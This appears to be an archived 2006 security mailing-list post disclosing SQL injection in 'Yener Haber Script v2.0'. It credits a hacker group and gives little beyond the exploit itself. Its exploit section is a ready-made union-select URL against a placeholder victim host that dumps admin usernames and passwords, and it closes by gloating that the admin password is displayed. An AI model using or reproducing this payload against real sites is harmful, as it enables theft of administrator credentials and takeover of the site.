Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Directory Traversal Vulnerability in Goop Gallery 2.0.2

phpMyProfiler remote file include

From:	Dj_ReMix_20_(at)_hotmail.com <Dj_ReMix_20_(at)_hotmail.com>
Date:	04.10.2006
Subject:	Yener Haber Script v2.0 SQL injection

# BiyoSecurity.Org

# script name : Yener Haber Script v2.0

# Demo : http://www50.brinkster.com/yenerturk

# Risk : High

# Regards : Dj_ReMix

# Thanks : Korsan , Liz0zim , TR_IP

# Exploit :

http://victim.com/?x=2&kategori=11&id=-1%20union+select+id,
kullanici_adi,sifre,4,5,6,7,8,9+from+admin

Admin Pass Displayed :=)